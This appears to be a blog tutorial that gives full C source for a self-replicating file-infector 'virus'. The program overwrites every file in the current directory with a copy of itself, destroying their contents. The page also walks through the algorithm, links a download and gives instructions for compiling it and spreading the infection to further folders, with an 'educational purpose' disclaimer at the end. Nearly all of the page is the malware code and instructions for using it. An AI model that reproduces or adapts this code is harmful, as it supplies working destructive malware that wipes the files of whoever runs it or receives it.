How to Make a Computer Virus?

This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.

Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.

Here’s the source code of the virus program:

#include
#include
#include
#include
#include
#include

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],"rb"); 
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}

This virus is designed to infect all types of files with any extension.

You can download the source code from the following link

Download Source code

How the Virus Program Works

The algorithm of this virus program is as follows:

Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).

Step-2: Load the copy of the virus itself onto the memory.

Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.

As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Test the Virus After the Compilation:

Create a new empty folder.


Put some executable files (or any other files) in the folder.


Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.


Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
Disclaimer: This tutorial is only for educational purpose. The author or the blog owner is not responsible for any kind of misuse of this information provided.